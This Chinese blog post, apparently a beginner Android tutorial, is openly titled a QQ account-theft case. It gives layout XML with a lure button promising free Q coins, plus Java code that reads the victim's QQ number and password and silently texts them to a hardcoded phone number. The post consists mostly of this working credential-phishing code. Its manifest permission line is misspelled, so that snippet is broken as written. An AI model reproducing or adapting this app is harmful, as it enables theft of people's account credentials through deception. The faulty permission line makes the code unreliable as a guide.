您的位置:首页 > 其它

安卓简单发送短信案例-qq盗号案例

2017-10-21 10:01 363 查看

发送短信案例

布局

设置点击事件

添加权限

1、布局

账号输入框

密码输入框

发送短信按钮

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical" android:layout_width="match_parent"
android:layout_height="match_parent">
<EditText
android:id="@+id/et_qq"
android:inputType="number"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:hint="输入QQ号"/>
<EditText
android:id="@+id/et_pwd"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:inputType="textPassword"
android:hint="输入QQ密码"
/>
<Button
android:id="@+id/btn"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="点击领取Q币"/>

</LinearLayout>


2、设置点击事件

先要声明输入框和密码框及按钮的变量

public class MainActivity extends AppCompatActivity {
private EditText et_qq;
private EditText et_pwd;
private Button btn;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.sms);
et_qq=(EditText)findViewById(R.id.et_qq);
et_pwd=(EditText)findViewById(R.id.et_pwd);
btn=(Button)findViewById(R.id.btn);
btn.setOnClickListener(new BtnSend());//设置按钮的点击监听事件
}
private class BtnSend implements View.OnClickListener{
public void onClick(View v){
String qq=et_qq.getText().toString().trim();//获取到的qq转化为字符类型并去掉空格
String pwd=et_pwd.getText().toString().trim();
if(TextUtils.isEmpty(qq)||TextUtils.isEmpty(pwd)){//判断qq和密码的输入框是否为空
Toast.makeText(MainActivity.this,"账号和密码不能为空",Toast.LENGTH_SHORT).show();
return;
}
SmsManager smsManager=SmsManager.getDefault();
smsManager.sendTextMessage("18989116206",null,qq+"\n"+pwd,null,null);
}
}
}


3、添加权限

1、在AndroidManifest添加发送短信的权限

<uses-permissions android:name="android.permissions.SEND_SMS"/>


2、在虚拟机中或真机应用中打开发送短信的权限

在安装apk的时候默认是不开启的,所以就会存在为什么已经在AndroidManifest中添加权限还是会停止运行!

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: